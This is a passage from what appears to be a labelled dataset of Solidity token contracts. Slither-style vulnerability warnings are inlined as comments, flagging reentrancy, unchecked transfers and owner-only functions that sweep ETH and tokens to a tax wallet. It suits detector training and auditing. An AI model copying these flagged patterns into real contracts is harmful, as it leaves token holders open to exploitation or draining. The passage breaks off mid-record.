}\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 80bdc72\n\t\t// reentrancy-events | ID: c8ee2a9\n\t\t// reentrancy-benign | ID: cd10bba\n\t\t// reentrancy-benign | ID: 582ee5c\n\t\t// reentrancy-eth | ID: 4f76ad7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 80bdc72\n\t\t// reentrancy-events | ID: c8ee2a9\n\t\t// reentrancy-eth | ID: 4f76ad7\n _taxWallet.transfer(amount);\n }\n\n function transferStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5ee25e8): LEELA.enableTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5ee25e8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f096826): LEELA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f096826: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f048fa8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f048fa8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-eth | ID: f048fa8\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: f096826\n\t\t// reentrancy-eth | ID: f048fa8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 5ee25e8\n\t\t// reentrancy-eth | ID: f048fa8\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: f048fa8\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10106.sol",
"size_bytes": 22919,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CHILLGUY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5214ad5): CHILLGUY._taxWallet should be immutable \n\t// Recommendation for 5214ad5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82f8486): CHILLGUY._initialBuyTax should be constant \n\t// Recommendation for 82f8486: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab9b715): CHILLGUY._initialSellTax should be constant \n\t// Recommendation for ab9b715: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13b7898): CHILLGUY._reduceBuyTaxAt should be constant \n\t// Recommendation for 13b7898: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59f2e85): CHILLGUY._reduceSellTaxAt should be constant \n\t// Recommendation for 59f2e85: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7effc0e): CHILLGUY._preventSwapBefore should be constant \n\t// Recommendation for 7effc0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74c49ff): CHILLGUY.zero should be constant \n\t// Recommendation for 74c49ff: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Just a chill guy\";\n\n string private constant _symbol = unicode\"CHILLGUY\";\n\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 627897d): CHILLGUY._taxSwapThreshold should be constant \n\t// Recommendation for 627897d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73f45a0): CHILLGUY._maxTaxSwap should be constant \n\t// Recommendation for 73f45a0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc9e3a3): CHILLGUY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc9e3a3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d5cd8ba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d5cd8ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5810deb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5810deb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d5cd8ba\n\t\t// reentrancy-benign | ID: 5810deb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d5cd8ba\n\t\t// reentrancy-benign | ID: 5810deb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56de413): CHILLGUY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56de413: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5810deb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d5cd8ba\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 20603aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 20603aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 159742a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 159742a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 20603aa\n\t\t\t\t// reentrancy-eth | ID: 159742a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 20603aa\n\t\t\t\t\t// reentrancy-eth | ID: 159742a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 159742a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 159742a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 159742a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 20603aa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 159742a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 159742a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 20603aa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 20603aa\n\t\t// reentrancy-events | ID: d5cd8ba\n\t\t// reentrancy-benign | ID: 5810deb\n\t\t// reentrancy-eth | ID: 159742a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cb2f5fe): CHILLGUY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cb2f5fe: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 20603aa\n\t\t// reentrancy-events | ID: d5cd8ba\n\t\t// reentrancy-eth | ID: 159742a\n\t\t// arbitrary-send-eth | ID: cb2f5fe\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 484e1bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 484e1bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aa95318): CHILLGUY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aa95318: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe0dc30): CHILLGUY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fe0dc30: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ec532bd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ec532bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 484e1bb\n\t\t\t// reentrancy-eth | ID: ec532bd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 484e1bb\n\t\t// unused-return | ID: aa95318\n\t\t// reentrancy-eth | ID: ec532bd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 484e1bb\n\t\t// unused-return | ID: fe0dc30\n\t\t// reentrancy-eth | ID: ec532bd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 484e1bb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ec532bd\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 06a5d97): CHILLGUY.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 06a5d97: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 06a5d97\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10107.sol",
"size_bytes": 21020,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 52779e7\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 52779e7\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 316cd5a\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function 